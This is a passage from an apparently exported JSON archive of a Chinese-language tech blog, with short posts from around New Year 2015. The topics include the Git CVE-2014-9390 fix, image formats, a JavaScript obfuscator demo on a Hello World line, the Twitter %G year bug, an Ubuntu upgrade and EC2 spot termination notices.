的感染力是有效的，如果你不打算服從就要賠錢，然後把 GPLv2 程式碼拔乾淨。\r\n\r\n而 patent 的部份有點複雜啊... Ximpleware 的控訴都不成立，不過理由沒有看懂 @_@\r\n\r\n等有更多時間再來看其他的說明研究...",
    "title": "GNU GPLv2 的判例"
  },
  {
    "id": "5490",
    "body": "<a href=\"https://github.com/\">GitHub</a> 發了一篇公告說明這件事情：「<a href=\"https://github.com/blog/1938-vulnerability-announced-update-your-git-clients\">Vulnerability announced: update your Git clients</a>」，而 <a href=\"http://git-scm.com/\">Git</a> 官方的公告在這邊：「<a href=\"http://article.gmane.org/gmane.linux.kernel/1853266\">[ANNOUNCE] Git v2.2.1 (and updates to older maintenance tracks)</a>」。\r\n\r\n這次的問題起因很好理解，就是有人可以在 repository 裡面放 <code>.GIT</code> 這樣的目錄名稱，配合將大小寫視為一樣的檔案系統 (<a href=\"http://windows.microsoft.com/\">Windows</a> 系列用的 <a href=\"https://zh.wikipedia.org/wiki/FAT\">FAT</a> 與 <a href=\"https://zh.wikipedia.org/wiki/NTFS\">NTFS</a>、<a href=\"https://www.apple.com/mac/\">Mac</a> 用的 <a href=\"https://zh.wikipedia.org/wiki/HFS+\">HFS+</a>)，裡面就可以放各種設定值，有機會在 checkout 下來時就執行，或是透過其他的 git 指令執行。\r\n\r\nGitHub 在 server 端擋下來了，不過還是建議 client 端趕快更新到最新版，這些版本會從 client 端擋下這些路徑。\r\n\r\n這次 <a href=\"https://cve.mitre.org/\">CVE</a> 編號是 <a href=\"https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9390\">CVE-2014-9390</a>，不過 NIST 的資料庫裡面沒有列出來？",
    "title": "Git 安全性更新"
  },
  {
    "id": "5492",
    "body": "雖然是有點久的消息了，但還是拿出來講：「<a href=\"http://bellard.org/bpg/\">BPG Image format</a>」。\r\n\r\n在「<a href=\"https://xooyoozoo.github.io/yolo-octo-bugfixes/\">BPG Image Comparison</a>」這頁可以直接看到一些比較，在「<a href=\"http://bellard.org/bpg/lena.html\">BPG/JPEG comparison on the Lena picture</a>」可以看到經典的<a href=\"https://zh.wikipedia.org/wiki/%E8%90%8A%E5%A8%9C%E5%9C%96\">萊娜圖</a>比較。\r\n\r\n很明顯 BPG 比 JPEG 好很多，而又比 WebP 更上一層樓。但是看到這個部份就皺眉了：\r\n\r\n<blockquote>Based on a subset of the HEVC open video compression standard.</blockquote>\r\n\r\n最後面也有提到 HEVC (<a href=\"https://en.wikipedia.org/wiki/High_Efficiency_Video_Coding\">High Efficiency Video Coding</a>) 的專利問題：\r\n\r\n<blockquote>Some of the HEVC algorithms may be protected by patents in some countries (read the FFmpeg Patent Mini-FAQ for more information). Most devices already include or will include hardware HEVC support, so we suggest to use it if patents are an issue.</blockquote>\r\n\r\n繼續觀望下去 :o",
    "title": "想要取代 JPEG 的 BPG (Better Portable Graphics)"
  },
  {
    "id": "5494",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 的「<a href=\"http://hardware.slashdot.org/story/14/12/11/1611257/the-case-for-flipping-your-monitor-from-landscape-to-portrait\">The Case For Flipping Your Monitor From Landscape to Portrait</a>」這篇引用了「<a href=\"http://www.dailydot.com/technology/vertical-monitor-setup/\">You've been using your monitor wrong this whole time</a>」這篇文章。\r\n\r\n文章裡提到了不少範例，像是 <a href=\"http://www.cnn.com/\">CNN</a> 網站的樣子：\r\n\r\n<img src=\"//i.imgur.com/PkVGQ0i.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/1xA1Vzy.png\" alt=\"\" />\r\n\r\n以及 <a href=\"https://www.google.com/\">Google</a> 的搜尋結果：\r\n\r\n<img src=\"//i.imgur.com/c7cTezE.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/e8YHa8C.png\" alt=\"\" />\r\n\r\n可以看到打直後的顯示效率高很多。\r\n\r\n如同 Slashdot 網站上 comment 提到的，我也是一個螢幕打橫一個打直，這樣不同用途用起來比較方便。(看影片時會需要正常的螢幕)\r\n\r\n不過我之前有提過，有些網站設計時把寬度最小值設成 1280px，剛好對上 1920x1200 的螢幕打橫後就中獎，這就比較痛苦了：\r\n\r\n<div id=\"fb-root\"></div><script>(function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = \"//connect.facebook.net/en_US/all.js#xfbml=1\"; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'facebook-jssdk'));</script>\r\n<div class=\"fb-post\" data-href=\"https://www.facebook.com/gslin/posts/10152867738159890\" data-width=\"640\"><div class=\"fb-xfbml-parse-ignore\"><a href=\"https://www.facebook.com/gslin/posts/10152867738159890\">Post</a> by <a href=\"https://www.facebook.com/gslin\">Gea-Suan Lin</a>.</div></div>\r\n\r\n這篇剛好測試一下 <a href=\"https://www.facebook.com/\">Facebook</a> 的 embed 用在 <a href=\"https://wordpress.org/\">WordPress</a> 裡面會怎樣 :o",
    "title": "把螢幕打直 (Landscape to Portrait)"
  },
  {
    "id": "5497",
    "body": "<a href=\"https://www.defcon.org/html/defcon-22/dc-22-index.html\">DEF CON 22</a> 在八月結束後，投影片與影片都放出來了，可以在「<a href=\"https://media.defcon.org/DEF%20CON%2022/\">Index of /DEF CON 22</a>」這邊取得。\r\n\r\n影片的部份居然還附上 <a href=\"https://en.wikipedia.org/wiki/.srt\">srt</a> 檔，而 presentation 裡面還有一堆 PDF，到底能不能開啊... XD",
    "title": "DEF CON 22 的投影片以及影片釋出"
  },
  {
    "id": "5499",
    "body": "翻資料的時候翻到「<a href=\"https://queue.acm.org/detail.cfm?id=2698990\">Scalability Techniques for Practical Synchronization Primitives</a>」這篇文章，裡面剛好提到 <a href=\"http://www.hp.com/\">HP</a> 的高階伺服器：\r\n\r\n<img src=\"//i.imgur.com/b2SoYhz.png\" alt=\"\" />\r\n\r\nHP 的 CS900 (<a href=\"http://www8.hp.com/us/en/products/converged-infrastructure/portfolio.html\">HP ConvergedSystem</a>) 看起來是搭著 <a href=\"https://en.wikipedia.org/wiki/SAP_HANA\">SAP HANA</a> 而出的硬體...\r\n\r\n<img src=\"//i.imgur.com/VvNEf8u.jpg\" alt=\"\" />\r\n<small>出自「<a href=\"http://ascii.jp/elem/000/000/946/946459/img.html\">http://ascii.jp/elem/000/000/946/946459/img.html</a>」</small>\r\n\r\n記錄起來，如果有需要用到的時候可以去問問 HP...",
    "title": "單台 12TB RAM 的 server"
  },
  {
    "id": "5503",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 的「<a href=\"http://yro.slashdot.org/story/14/12/12/0011238/new-compilation-of-banned-chinese-search-terms-reveals-curiosities\">New Compilation of Banned Chinese Search-Terms Reveals Curiosities</a>」這篇引用了「<a href=\"http://thestack.com/canada-citizen-lab-chinese-banned-words-111214\">Some curious search terms denied to the Chinese</a>」這篇文章，在 <a href=\"https://github.com/\">GitHub</a> 上面有個 repository 試著蒐集這些關鍵字：「<a href=\"https://github.com/jasonqng/chinese-keywords\">jasonqng/chinese-keywords</a>。\r\n\r\n不過看到報導第一件事情注意到的事情是他用的圖片：\r\n\r\n<img src=\"//i.imgur.com/z4mH8xd.jpg\" alt=\"\" />\r\n\r\n還是說其實台灣已經高度審查了？hmmm...",
    "title": "中國的關鍵字審查"
  },
  {
    "id": "5505",
    "body": "<a href=\"https://www.torproject.org/\">Tor</a> 官方預測將會被攻擊：「<a href=\"https://blog.torproject.org/blog/possible-upcoming-attempts-disable-tor-network\">Possible upcoming attempts to disable the Tor network</a>」。\r\n\r\n透過扣押機器的方式降低 Tor 對 client bootstrap 的承載能力：\r\n\r\n<blockquote>The Tor Project has learned that there may be an attempt to incapacitate our network in the next few days through the seizure of specialized servers in the network called directory authorities.</blockquote>\r\n\r\n挑弱點打...",
    "title": "Tor 官方預測將會被攻擊"
  },
  {
    "id": "5507",
    "body": "在「<a href=\"http://tech.slashdot.org/story/14/12/12/0017207/lax-crossdomain-policy-puts-yahoo-mail-at-risk\">\"Lax\" Crossdomain Policy Puts Yahoo Mail At Risk</a>」這篇裡面看到不安全的 Flash 造成的問題：「<a href=\"http://blog.saynotolinux.com/blog/2014/12/09/seizing-control-of-yahoo-mail-cross-origin-again/\">Seizing Control of Yahoo! Mail Cross-Origin... Again</a>」。\r\n\r\n找有問題的 swf 檔案 (hosting 在 <code>crossdomain.xml</code> 允許的網段下)，然後利用 injection 或是根本就沒檢查權限來打趴... 把 swf 當跳板用就是了 :p\r\n\r\n文章後面那個 Disclosure Timeline 看起來頗心酸 :o",
    "title": "Flash 的 crossdomain.xml 架構問題"
  },
  {
    "id": "5509",
    "body": "先前幾天 <a href=\"https://www.torproject.org/\">Tor</a> 官方才猜測會被攻擊 (<a href=\"https://blog.gslin.org/archives/2014/12/21/5505/tor-%E5%AE%98%E6%96%B9%E9%A0%90%E6%B8%AC%E5%B0%87%E6%9C%83%E8%A2%AB%E6%94%BB%E6%93%8A/\">Tor 官方預測將會被攻擊</a>)，在今天的 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 就看到有機器被扣：「<a href=\"https://lists.torproject.org/pipermail/tor-talk/2014-December/036067.html\">[tor-talk] Warning: Do NOT use my mirrors/services until I have reviewed the situation</a>」。\r\n\r\n<blockquote>Tonight there has been some unusual activity taking place and I have now lost control of all servers under the ISP and my account has been suspended. Having reviewed the last available information of the sensors, the chassis of the servers was opened and an unknown USB device was plugged in only 30-60 seconds before the connection was broken. From experience I know this trend of activity is similar to the protocol of sophisticated law enforcement who carry out a search and seizure of running servers.</blockquote>\r\n\r\n偵測到機器被打開，並且插入 USB device，接下來失去對機器的控制權。",
    "title": "對 Tor 的攻擊開始了..."
  },
  {
    "id": "5511",
    "body": "<a href=\"http://www.apple.com/\">Apple</a> 第一次的自動強制更新就給了這次的 ntpd 安全性問題 <a href=\"https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9295\">CVE-2014-9295</a>：「<a href=\"http://www.reuters.com/article/2014/12/23/us-apple-cybersecurity-idUSKBN0K108W20141223\">Apple pushes first ever automated security update to Mac users</a>」。\r\n\r\n<blockquote>A remote unauthenticated attacker may craft special packets that trigger buffer overflows in the <code>ntpd</code> functions <code>crypto_recv()</code> (when using autokey authentication), <code>ctl_putdata()</code>, and <code>configure()</code>. The resulting buffer overflows may be exploited to allow arbitrary malicious code to be executed with the privilege of the <code>ntpd</code> process.</blockquote>\r\n\r\n這次的問題比較刺激...",
    "title": "Apple 首次自動強制更新：NTP 安全問題"
  },
  {
    "id": "5512",
    "body": "<a href=\"https://github.com/\">GitHub</a> 在「<a href=\"https://github.com/blog/1937-improving-github-s-ssl-setup\">Improving GitHub's SSL setup</a>」這邊開頭就提到要拔掉 <a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a>：\r\n\r\n<blockquote>To keep GitHub as secure as possible for every user, we will remove RC4 support in our SSL configuration on github.com and in the GitHub API on January 5th 2015.</blockquote>\r\n\r\n看了一下日曆，算一算其實意思就是「放完假的星期一我們就來拔 RC4」XDDD\r\n\r\n雖然 GitHub 的人說了 Windows XP + IE8 會沒辦法用，不過翻了「<a href=\"https://www.ssllabs.com/ssltest/viewClient.html?name=IE&amp;version=8&amp;platform=XP\">Qualys SSL Labs - Projects / User Agent Capabilities: IE 8  / XP</a>」這頁，手動打開 TLS 1.0 後應該還有 <code>TLS_RSA_WITH_3DES_EDE_CBC_SHA (0xa)</code> 與 <code>TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x13)</code> 這兩個用 <a href=\"https://en.wikipedia.org/wiki/Triple_DES\">3DES</a> 的 cipher 可以掙扎才對？\r\n\r\n不過看 GitHub 目前的 HTTPS 設定，看起來沒打算支援這兩個：「<a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=www.github.com&amp;s=192.30.252.128&amp;hideResults=on\">Qualys SSL Labs - Projects / SSL Server Test / github.com</a>」以及「<a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=www.github.com&amp;s=192.30.252.129&amp;hideResults=on\">Qualys SSL Labs - Projects / SSL Server Test / github.com</a>」。\r\n\r\n不過順便把 3DES 踢出清單也是比較安全啦...",
    "title": "GitHub 預定再兩個星期後廢止 HTTPS 連線的 RC4"
  },
  {
    "id": "5513",
    "body": "<a href=\"https://www.ruby-lang.org/\">Ruby</a> 2.2.0 在假期前釋出：「<a href=\"https://www.ruby-lang.org/en/news/2014/12/25/ruby-2-2-0-released/\">Ruby 2.2.0 Released</a>」。\r\n\r\n在「Notable Changes since 2.1」的部份有提到新的 GC algorithm (<a href=\"https://bugs.ruby-lang.org/issues/10137\">Incremental GC</a>) 以及讓 Symbol 可以被 GC (<a href=\"https://bugs.ruby-lang.org/issues/9634\">Symbol GC</a>)，而且提到了 Rails 5.0 會受益於此：\r\n\r\n<blockquote>Recent developments mentioned on the <a href=\"http://weblog.rubyonrails.org/2014/12/19/Rails-4-2-final/\">Rails blog</a> suggest that Rails 5.0 will take advantage of Incremental GC as well as Symbol GC.</blockquote>\r\n\r\n在 Rails 這邊的說明：\r\n\r\n<blockquote>Rails 5.0 will target Ruby 2.2+ exclusively. There are a bunch of optimizations coming in Ruby 2.2 that are going to be very nice, but most importantly for Rails, symbols are going to be garbage collected.</blockquote>",
    "title": "Ruby 2.2.0：放假前的新版本"
  },
  {
    "id": "5515",
    "body": "這陣子 image format 又被拿出來討論，無論是拿 <a href=\"https://en.wikipedia.org/wiki/High_Efficiency_Video_Coding\">HEVC</a> 出來用的 <a href=\"http://bellard.org/bpg/\">BPG</a>，還是 <a href=\"http://people.xiph.org/~xiphmont/demo/daala/update1.shtml\">Daala</a>，剛剛又在「<a href=\"http://calendar.perfplanet.com/2014/mozjpeg-3-0/\">MozJPEG 3.0</a>」這邊看到了 <a href=\"https://github.com/mozilla/mozjpeg\">MozJPEG</a> 3.0 預計有的改善。\r\n\r\n其中第一個是對白底時的高反差的 workaround，這是一般 libjpeg 壓出來的結果：\r\n\r\n<img src=\"//i.imgur.com/WMNlBNZ.jpg\" alt=\"\" />\r\n\r\n而這是 MozJPEG 壓出來的結果：\r\n\r\n<img src=\"//i.imgur.com/AXc80hj.jpg\" alt=\"\" />\r\n\r\n可以看到邊界的部份改善非常多。\r\n\r\n另外是漸層的改善，一樣是 libjpeg 版本與 MozJPEG：\r\n\r\n<img src=\"//i.imgur.com/doA9i6t.jpg\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/UdwC6PD.jpg\" alt=\"\" />\r\n\r\n這兩個改善看起來頗不錯啊？",
    "title": "MozJPEG 3.0 的改善..."
  },
  {
    "id": "5517",
    "body": "看到「<a href=\"https://community.rapid7.com/community/metasploit/blog/2014/12/27/improvements-to-jsobfu\">12 Days of HaXmas: Improvements to jsobfu</a>」這篇文章裡提到 <a href=\"https://github.com/rapid7/jsobfu\">JSObfu</a> 這個工具...\r\n\r\n文章裡的範例：\r\n\r\n<pre>$ echo \"console.log('Hello World')\" | jsobfu\r\n\r\nwindow[(function () { var E=\"ole\",d=\"ons\",f=\"c\"; return f+d+E })()][(String.fromChar\r\nCode(108,111,0147))](String.fromCharCode(0x48,0x65,0154,0154,111,32,0127,0x6f,114,01\r\n54,0x64));</pre>\r\n\r\n如果要他滾三次，就變成：\r\n\r\n<pre>$ echo \"console.log('Hello World')\" | jsobfu 3\r\n\r\nwindow[(function(){var T=String[(String.fromCharCode(102,114,0x6f,109,0x43,104,97,0x\r\n72,0x43,0157,0x64,0145))](('j'.length*0x39+54),('h'.length*(3*('X'.length*024+8)+9)+\r\n15),(1*('Q'.length*(1*0x40+14)+19)+4)),Z=(function(){var c=String.fromCharCode(0x6e,\r\n0163),I=String.fromCharCode(99,0x6f);return I+c;})();return Z+T;})()][(String[(Strin\r\ng[((function () { var r=\"de\",t=\"mCharCo\",M=\"f\",_=\"ro\"; return M+_+t+r })())]((0x6*0x\r\nf+12),(01*('J'.length*('z'.length*(4*0x9+4)+27)+1)+46),(0x37*'Bw'.length+1),('K'.len\r\ngth*(0x3*0x1a+17)+14),(02*(1*(1*(05*'RIZ'.length+2)+6)+3)+15),('X'.length*('zzJA'.le\r\nngth*021+15)+21),(0x1*0111+24),('FK'.length*0x2b+28),('z'.length*0x43+0),(03*33+12),\r\n('AZa'.length*('NKY'.length*(02*4+3)+0)+1),(1*0x5c+9)))](('u'.length*(01*('KR'.lengt\r\nh*('av'.length*0x7+3)+5)+19)+(01*('j'.length*056+0)+4)),('z'.length*(String.fromChar\r\nCode(0x67,85,0155,0156,75,84,0114,0x4c)[((function () { var f=\"ngth\",F=\"e\",x=\"l\"; re\r\nturn x+F+f })())]*((function () { var n='m',a='Q'; return a+n })()[(String.fromCharC\r\node(0154,101,110,0x67,0x74,104))]*(function () { var w='d',A='tMf'; return A+w })()[\r\n((function () { var yG=\"ngth\",q5=\"e\",J=\"l\"; return J+q5+yG })())]+'SX'.length)+'crFi\r\nKaq'.length)+(1*026+2)),('p'.length*(06*15+10)+'nnU'.length)))]((function(){var En=S\r\ntring[(String.fromCharCode(0146,0x72,0x6f,0x6d,0103,104,97,0x72,67,0x6f,0144,101))](\r\n(3*041+9),('eHUOhZL'.length*(0x1*(01*9+1)+3)+9)),Y=(function(){var z=(function () {\r\nvar Sf='r'; return Sf })(),Z=(function () { var N='o'; return N })(),C=String.fromCh\r\narCode(0x57);return C+Z+z;})(),k=String[((function () { var b=\"e\",s=\"od\",p=\"fromCha\"\r\n,H=\"rC\"; return p+H+s+b })())](('C'.length*('H'.length*('Ia'.length*0xf+3)+12)+27),(\r\n'G'.length*(01*('Wv'.length*25+10)+27)+14),('Q'.length*077+45),('MXq'.length*30+18),\r\n(1*('B'.length*(0x1*29+20)+24)+38),(0x2*020+0));return k+Y+En;})());</pre>\r\n\r\n嘖嘖... (趕快裝起來玩)",
    "title": "JavaScript 混淆工具"
  },
  {
    "id": "5519",
    "body": "前幾天 <a href=\"https://twitter.com/\">Twitter</a> 伺服器的時間大爆炸，跳到 2015 年：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>I MITMed Twitter for Android&#39;s login to see why it was failing.&#10;&#10;The Twitter servers think it&#39;s 2015. Amazing. <a href=\"http://t.co/iEu4rEUub9\">pic.twitter.com/iEu4rEUub9</a></p>&mdash; Ninji the [REDACTED] (@_Ninji) <a href=\"https://twitter.com/_Ninji/status/549365454322802688\">December 29, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n剛剛在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到原因：「<a href=\"https://news.ycombinator.com/item?id=8810157\">If you're using YYYY in your JVM service or %G in anything, fix it now</a>」，原因是這樣：\r\n\r\n<blockquote>The single character G instead of Y took down Twitter's API today.\r\nIf you're using YYYY in your JVM service or %G in anything, fix it now. You're very likely using the wrong year format.\r\n\r\ndate\r\nMon Dec 29 00:44:45 EST 2014\r\ndate -u \"+%G\"\r\n2015\r\n\r\nISO 8601 week numbering has 2015 start this week.</blockquote>\r\n\r\n在自己電腦上也可以重製出來：\r\n\r\n<pre>gslin@home [~] [01:22/W4] date \r\nWed Dec 31 01:27:00 CST 2014\r\ngslin@home [~] [01:27/W4] date +%Y\r\n2014\r\ngslin@home [~] [01:27/W4] date +%G\r\n2015</pre>\r\n\r\n依照說明，<code>%G</code> 的用途是：\r\n\r\n<blockquote>year of ISO week number (see %V); normally useful only with %V</blockquote>\r\n\r\n用錯好慘啊...",
    "title": "前幾天 Twitter 伺服器時間大爆炸的原因..."
  },
  {
    "id": "5520",
    "body": "維基百科基金會的人發表了將 <a href=\"http://php.net/\">PHP</a> 換成 <a href=\"http://hhvm.com/\">HHVM</a> 後的成果：「<a href=\"https://blog.wikimedia.org/2014/12/29/how-we-made-editing-wikipedia-twice-as-fast/\">How we made editing Wikipedia twice as fast</a>」。\r\n\r\n可以看到編輯存檔時間大幅改善：\r\n\r\n<img src=\"//i.imgur.com/xxstICn.png\" alt=\"\" />\r\n\r\n另外是已登入使用者 (通常是經常參與編輯的使用者) 的頁面產生時間也大幅改善：\r\n\r\n<img src=\"//i.imgur.com/t3m6c2r.png\" alt=\"\" />\r\n\r\n另外帶來的好處是 CPU 使用率的下降：\r\n\r\n<img src=\"//i.imgur.com/cuMTnSz.png\" alt=\"\" />\r\n\r\n再來就是看 PHP 7 能追上多少了...",
    "title": "Wikipedia 換成 HHVM 的成果"
  },
  {
    "id": "5521",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Open_plan\">Open plan</a> 的兩種型態，取自<a href=\"https://www.wikipedia.org/\">維基百科</a>條目：\r\n\r\n<img src=\"//i.imgur.com/cnrE1jA.jpg\" alt=\"\" /> <img src=\"//i.imgur.com/X31RM6L.jpg\" alt=\"\" />\r\n\r\n不過在 IT 產業實做後效果一直是個疑問。而 2014 年年初時，有人寫文章拿出來討論，並且給出負面的結論：「<a href=\"http://www.newyorker.com/business/currency/the-open-office-trap\">The Open-Office Trap</a>」。\r\n\r\n主要是因為開放空間帶來無形的壓力，同時也容易被干擾：\r\n\r\n<blockquote>In 2011, the organizational psychologist Matthew Davis reviewed more than a hundred studies about office environments. He found that, though open offices often fostered a symbolic sense of organizational mission, making employees feel like part of a more laid-back, innovative enterprise, <strong>they were damaging to the workers’ attention spans, productivity, creative thinking, and satisfaction.</strong> Compared with standard offices, employees experienced more uncontrolled interactions, higher levels of stress, and lower levels of concentration and motivation. When David Craig surveyed some thirty-eight thousand workers, <strong>he found that interruptions by colleagues were detrimental to productivity, and that the more senior the employee, the worse she fared.</strong></blockquote>\r\n\r\n另外對於健康方面，開放空間互相感染的問題：\r\n\r\n<blockquote>An open environment may even have a negative impact on our health. In a recent study of more than twenty-four hundred employees in Denmark, Jan Pejtersen and his colleagues found that as the number of people working in a single room went up, the number of employees who took sick leave increased apace. <strong>Workers in two-person offices took an average of fifty per cent more sick leave than those in single offices, while those who worked in fully open offices were out an average of sixty-two per cent more.</strong></blockquote>\r\n\r\n而最近 (2014 年年底) 又被提出來，基本上是引用 2014 年年初那篇文章的負面分析：「<a href=\"http://www.washingtonpost.com/posteverything/wp/2014/12/30/google-got-it-wrong-the-open-office-trend-is-destroying-the-workplace/\">Google got it wrong. The open-office trend is destroying the workplace.</a>」。\r\n\r\n文章裡提出幾個 workaround (因為辦公室改建的成本...)，包括建立 private area：\r\n\r\n<blockquote>For one, they should create more private areas — ones without fishbowl windows.</blockquote>\r\n\r\n另外也可以從個人習慣改善。如果被打斷了，就先做一些其他的事情：\r\n\r\n<blockquote>For instance, when a colleague has on headphones, it’s a sign that you should come back another time or just send an e-mail.</blockquote>\r\n\r\n以及利用一些政策避開問題，像是在家工作降低被打擾的機會：\r\n\r\n<blockquote>On the other hand, companies could simply join another trend — allowing employees to work from home. That model has proven to boost productivity, with employees working more hours and taking fewer breaks. On top of that, there are fewer interruptions when employees work remotely.</blockquote>​\r\n\r\n不過這些方法偏向 workaround，如果辦公室可以在規劃時就避開的話會更好，像是這樣：\r\n\r\n<img src=\"//i.imgur.com/I2uEYpa.jpg\" alt=\"\" />\r\n<small><a href=\"http://wens.pixnet.net/album/photo/285591790\">Puffin Browser - CloudMosa - 辦公室座位區 @ wens的相簿 :: 痞客邦 PIXNET ::</a></small>",
    "title": "開放式辦公室 (Open Plan Office) 的問題"
  },
  {
    "id": "5523",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 的「<a href=\"http://hardware.slashdot.org/story/14/12/31/2127231/ringing-in-2015-with-40-linux-friendly-hacker-sbcs\">Ringing In 2015 With 40 Linux-Friendly Hacker SBCs</a>」報導了「<a href=\"http://linuxgizmos.com/ringing-in-2015-with-40-linux-friendly-hacker-sbcs/\">Ringing in 2015 with 40 Linux-friendly hacker SBCs</a>」這篇文章，裡面介紹了不少可以跑 <a href=\"http://www.linux.org/\">Linux</a> 的小板子。\r\n\r\n還蠻多有趣的板子，大多都是 ARM，不過還是有一些 x86 的板子可以玩，另外還有一張 MIPS 的板子...\r\n\r\n<img src=\"//i.imgur.com/TnNbuqd.jpg\" alt=\"\" />\r\n\r\n另外翻了翻還看到 <a href=\"http://www.atmel.com/tools/ATSAMA5D3-XPLD.aspx\">SAMA5D3 Xplained</a> 這張有兩個網卡的板子 (不過是 GE + FE)，好像可以拿來做些有趣的東西？\r\n\r\n<img src=\"//i.imgur.com/iREw5Ww.png\" alt=\"\" />\r\n\r\n不過上次從 <a href=\"http://zonble.net/\">zonble</a> 那邊弄來的 <a href=\"http://www.raspberrypi.org/\">Raspberry Pi</a> 好像都還沒動...",
    "title": "各種有趣的小板子..."
  },
  {
    "id": "5524",
    "body": "在 <a href=\"https://www.openstreetmap.org/\">OpenStreetMap</a> 的文章「<a href=\"https://blog.openstreetmap.org/2015/01/02/four-new-tile-servers/\">Four New Tile Servers</a>」看到<a href=\"http://www.nchc.org.tw/\">國網中心</a>提供的 CDN node：\r\n\r\n<blockquote>Tile server longma, Located in Hsinchu Taiwan, kindly hosted by NCHC.</blockquote>\r\n\r\n<img src=\"//i.imgur.com/dLPZEcx.png\" alt=\"\" />\r\n\r\n可以看到亞洲區 (扣除掉中國大陸) 都導到國網中心了，另外在 HTTP header 裡可以看到是跑 <code>squid/2.7.STABLE9</code>，要說是個很經典的版本嗎...",
    "title": "國網中心贊助了 OpenStreetMap 頻寬"
  },
  {
    "id": "5525",
    "body": "拖了好久，總算利用連假的時間 (而且在台灣！) 把桌機的 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 12.04 (<a href=\"http://releases.ubuntu.com/12.04/\">Precise</a>) 升級到 14.04 (<a href=\"http://releases.ubuntu.com/14.04/\">Trusty</a>)。整個升級的過程果然充滿了地雷... XD\r\n\r\n這邊當作雜記記錄下來，希望對之後的人升級有幫助。其中比較重要的前提是，我是用 <a href=\"https://unity.ubuntu.com/\">Unity</a>，所以升級的流程大致照著官方的指示做就可以了，對於使用 <a href=\"http://www.gnome.org/\">GNOME</a> 的人，需要再多研究看看？\r\n\r\n<img src=\"//i.imgur.com/xVjYQb8.png\" alt=\"\" />\r\n\r\n升級前的注意事項：\r\n<ul>\r\n\t<li>假設當初有裝很多 UNSUPPORTED 的 repository (這邊是指官方的 <code>*.archive.ubuntu.com</code> 裡有一些沒有被官方支援的項目，像是 universe 與 multiverse)，要記得到 <code>/etc/apt/sources.list</code> 裡暫時註解掉。</li>\r\n\t<li>跑 do-release-upgrade 時的語系要用英語系 (<code>C</code>、<code>en_US</code> 之類的，像是 <code>env LANG=C LANGUAGE=C LC_ALL=C do-release-upgrade</code> 這樣執行)，不然會造成 <a href=\"https://www.python.org/\">Python</a> 的錯誤訊息 (decode error，因為是用 ascii 去解)，原因是 <code>/etc/apt/sources.list.d/</code> 下面在替換 <code>precise</code> -&gt; <code>trusty</code> 時會增加註解，而這個註解在 <code>zh_TW.UTF-8</code> 狀態下會出現中文 UTF-8，於是就造成 parser 爛掉... XD</li>\r\n</ul>\r\n\r\n升級完成後的注意事項：\r\n<ul>\r\n\t<li>跑 <a href=\"https://fixubuntu.com/\">Fix Ubuntu</a> 把該關的關掉。</li>\r\n\t<li>把 <code>/etc/apt/sources.list.d/</code> 下面的東西整理過，有些是 backport 回 12.04 的，在 14.04 就可以省略，有些則是要找替代方案。</li>\r\n</ul>\r\n\r\n升完後還沒解決的問題：\r\n<ul>\r\n\t<li><a href=\"https://zh.wikipedia.org/wiki/SCIM\">scim</a> 的狀態很詭異，在 Terminal 裡有時候可以用但有時候不能用，而在 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 裡面是完全不能用。目前暫時拿 ibus 撐著。</li>\r\n\t<li>天氣的 indicator 好像要換掉，暫時沒有花時間研究。</li>\r\n</ul>\r\n\r\n對於沒有技術背景的人來說，升級的工程太浩大 (有大量的錯誤訊息要查，然後一個一個解決)，還是建議當 Windows 的方法處理會比較好... (重灌未必比較慢，真的...)\r\n\r\n在還沒摸熟前，公司的電腦應該還是維持在 12.04 吧，不然就是等下次連假的時候弄...",
    "title": "桌機的 Ubuntu 12.04 升級到 14.04"
  },
  {
    "id": "5526",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 改善了 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> Spot Instance 的關機通知，在決定 terminate 前兩分鐘 instance 可以得知消息，讓 instance 可以處理「後事」，像是將計算的資料寫回 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 或是 <a href=\"https://aws.amazon.com/s3/\">S3</a>：「<a href=\"https://aws.amazon.com/blogs/aws/new-ec2-spot-instance-termination-notices/\">New – EC2 Spot Instance Termination Notices</a>」。\r\n\r\n<blockquote>Today we are improving the reclamation process with the addition of a two-minute warning, formally known as a Spot Instance Termination Notice.</blockquote>\r\n\r\n不過目前不是 trigger，而是透過 polling 的方式提供：\r\n\r\n<blockquote>The Termination Notice is accessible to code running on the instance via the instance’s metadata at <code>http://169.254.169.254/latest/meta-data/spot/termination-time</code>. This field will become available when the instance has been marked for termination (step 3, above), and will contain the time when a shutdown signal will be sent to the instance’s operating system.</blockquote>\r\n\r\n建議的 polling 時間是五秒鐘一次：\r\n\r\n<blockquote>We recommend that interested applications poll for the termination notice at five-second intervals.</blockquote>\r\n\r\n至少有方法得知了...",
    "title": "Amazon EC2 Spot Instance 的關機通知"
  },
  {
    "id": "5527",
